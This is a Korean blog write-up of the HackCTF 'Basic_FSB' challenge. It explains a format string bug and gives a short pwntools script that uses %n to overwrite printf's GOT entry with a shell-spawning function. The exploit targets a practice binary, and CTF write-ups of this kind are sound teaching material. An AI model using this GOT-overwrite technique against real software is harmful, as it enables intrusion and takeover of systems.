ii4gsp
HackCTF - Basic_FSB 본문
파일을 다운받아 주자.
IDA로 열어보면 vuln()함수에서 return printf(&format); 부분에서 포맷스트링 버그가 일어난다.
쉘을 실행시키는 flag()함수가 있다.
printf의 got를 flag()함수의 주소로 조작해주면 된다.
flag()함수의 주소는 0x080485B4 이다.
0x080485B4는 10진수로 134,514,100이다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('/home/ii4gsp/HackCTF/basic_fsb')
printf_got = e.got['printf']
payload = p32(printf_got)
payload += "%134514096x%n"
r.recvuntil(":")
r.sendline(payload)
r.interactive()
printf의 got를 받아오고 got값을 넣고 앞에서 구했던 flag()함수의 10진수 134,514,100을 앞에 입력한 4byte만큼 빼줘야한다.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - x64 Simple_size_BOF (0) | 2020.02.09 |
---|---|
HackCTF - x64 Buffer Overflow (0) | 2020.02.09 |
HackCTF - 내 버퍼가 흘러넘친다!!! (0) | 2020.02.09 |
HackCTF - Basic_BOF #2 (0) | 2020.02.08 |
HackCTF - Basic_BOF #1 (0) | 2020.02.08 |
Comments